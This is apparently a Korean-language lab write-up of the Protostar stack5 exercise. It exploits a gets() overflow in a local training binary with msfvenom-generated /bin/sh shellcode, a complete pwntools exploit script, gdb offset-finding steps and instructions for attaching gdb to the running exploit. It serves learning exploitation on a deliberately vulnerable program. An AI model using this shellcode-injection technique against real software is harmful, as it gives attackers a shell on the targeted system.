Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법

시스템 해킹|2024. 5. 18. 04:02
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

 

stack 5의 소스코드이다.

 

쉘코드를 실행하라는 문제이다

 

기존에는 원하는 플로우가 있었지만 공격자가 원하는 코드가 없을 확률이높고

쉘코드를 실행하여 해결한다.

 

 

 

 

 

msfvenom -p linux/x64/exec cmd='/bin/sh' -f python

쉘코드를 생성하였다.

 

linux/x64/exec 페이로드를 사용한다.

 

msfvenom -l | grep linux

리눅스 관련된 페이로드 쉘코드를 찾는다.

 

 

buf =  b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"

이부분을 복사하여 코드를 작성한다.

 



 

 

프로그램에는 원하는 코드가 없었지만 점프를 쉘코드가 있는곳으로 점프를 하게되면 원하는 쉘코드를 실행할 수 있다

그래서 쉘코드를 작성하는것

 

 

 

 

 

 

 

from pwn import *


buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"

p = process('./stack5')
retaddr = p64(0xFFFFFFFFFFFFF)
# p64로 묶어주면 64비트짜리 포인트로 동작을 한다 8바이트짜리임.
# win_addr 대신 retaddr 을 작성한다
payload = b'A'*72 + retaddr
# 문자열 앞에 b를 붙여 바이트코드임을 명시

p.sendline(payload)
# 시작하자마자 페이로드를 보낸다
print (p.recvrepeat(1))
# 보낸직후에 리시브리핏을통해 1초동안 데이터를 받는다.

 

임시로 retaddr 주소와 오프셋 위치를 작성을 하였으며

기존과 다르게  win_addr 대신 retaddr로 임시로 작성한다.

 

 

 

 

 

 

ASLR 은 꼭 제거하기.

메모리를 랜덤하게 매핑시키는 현상

주소가 계속 바뀌면 곤란한상황.

 

 

 

 

gcc -z execstack -no-pie -w -o stack5 stack5.c

gdb ./stack5

 

 

 

disas main

 

b *main+38

 

pattern create 100
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

참고로 패턴으로 만들어진 문자에 ' 이거 뺴야한다.

 

 

run

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

 

pattern offset IAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

IAAeAA4AAJAAfAA5AAKAAgAA6AAL

이부분의 오프셋 위치를 확인했을떄 72번쨰 인것을 확인했다

 

 

 

return을 하게될 경우 여기를 가져와서

 

 

 

RIP에 데이터를 넣고 있다.

 

그다음 

 

다음 주소지들이 실행되게되는데

그다음부터 쉘코드를 넣게될건데 

 

payload = b'A'*72 + retaddr + buf

 

초반에 작성한 exploit 코드에

buf를 추가한다.

 

payload = b'A'*72 + retaddr

기존에는 이거였다

 

 

우리는 아직 buf 데이터를 일일히 넣어줄수없어서

python pid 가 나오는데 어태치를 하게되면 비교적 간편한게 풀수 있다.

그방법을 설명한다.

 

 

우리가 임시로 작성한 exploit 코드의 pid 가 나오게되는데 

이것을 gdb로 수동 attach하는 것이다.

 

from pwn import *


buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"

p = process('./stack5')
retaddr = p64(0xFFFFFFFFFFF)
# p64로 묶어주면 64비트짜리 포인트로 동작을 한다 8바이트짜리임.
# win_addr 대신 retaddr 을 작성한다
payload = b'A'*72 + retaddr + buf
# 문자열 앞에 b를 붙여 바이트코드임을 명시
# 쉘코드를 넣게될건데 buf를 넣어준다

p.sendline(payload)
# 시작하자마자 페이로드를 보낸다
print (p.recvrepeat(1))
# 보낸직후에 리시브리핏을통해 1초동안 데이터를 받는다.

이것을 gdb로 수동 attach하기위해

임시로 문제를 다풀기전에 pause()문을 추가한다.

 

 

->

from pwn import *


buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"

p = process('./stack5')
retaddr = p64(0xFFFFFFFFFFF)
# p64로 묶어주면 64비트짜리 포인트로 동작을 한다 8바이트짜리임.
# win_addr 대신 retaddr 을 작성한다
payload = b'A'*72 + retaddr + buf
# 문자열 앞에 b를 붙여 바이트코드임을 명시
# 쉘코드를 넣게될건데 buf를 넣어준다
pause()
 
p.sendline(payload)
# 시작하자마자 페이로드를 보낸다
print (p.recvrepeat(1))
# 보낸직후에 리시브리핏을통해 1초동안 데이터를 받는다.

 

그런뒤에 

 

python3 stack5_exploit.py

임시로 작성한 exploit 코드를 실행하게되면 정지하게된다

pid 213311

를 사용하여 gdb에서 실행하여보자

 

gdb ./stack5 213311

 

그다음 우리는 gdb를 다음으로 동작할떄 run이 아닌 conti 를 사용해야합니다.

어태치 하는 순간에 브레이크를 또 건다.

어태치를 풀기위한 브레이크포인트다

 

b *main+38

 

stack5를 attack한 것에서 

return에 브레이크를 한번더 겁니다.

conti

브레이크건뒤 다음으로 실행한다.

 

 

그랬더니 우리가 임시 작성한 exploit 코드의 0xFFFFFFFFFF 가 들어가는 것을 알 수 있었고

retaddr = p64(0xFFFFFFFFFFF)

이부분이 들어간것.

 

buf가 있는 주소는 이것임을 알 수있어서 poc 코드에 해당 주소를 붙여넣는다

0x7ffd0af0f1a0

 

 

 

from pwn import *


buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"

p = process('./stack5')
retaddr = p64(0x7ffd0af0f1a0)
# p64로 묶어주면 64비트짜리 포인트로 동작을 한다 8바이트짜리임.
# win_addr 대신 retaddr 을 작성한다
payload = b'A'*72 + retaddr + buf
# 문자열 앞에 b를 붙여 바이트코드임을 명시
# 쉘코드를 넣게될건데 buf를 넣어준다
 
pause()
p.sendline(payload)
# 시작하자마자 페이로드를 보낸다
print (p.recvrepeat(1))
# 보낸직후에 리시브리핏을통해 1초동안 데이터를 받는다.
p.interactive()
# 쉘 프롬프트라고 생각하면 편함

 

 

retaddr = p64(0x7ffd0af0f1a0)

해당 부분의 주소에  buf가 있는 주소를 넣엇다

p.interactive()

쉘코드 사용할떄

/bin/sh처럼 프롬프트가 뜨는것이므로

통신을 할수있는 수단을

pwn이 제공을 해주기떄매 해당 부분을 추가한다.(중요)

 

 

 

 

 

이제 exploit코드 실행시 

쉘 프롬프트가 작성되었으면서 명령어가 발동되고 문제해결완료!

 

 

 

 

 

어태치 방법

1. pwn 프로그램에 pause()를 사용해서 잠시 멈춘다.

2. gdb ./stack5 <pid>

3. 디버깅하고싶은 부분에 break 를 건더 b*main+38

4. conti 디버거를 계속 싱행 시킨다.

5. pwn 프로그램에 엔터를 누른다. (sendline)

6. 익스플로잇이 성공했는지 확인한다

댓글()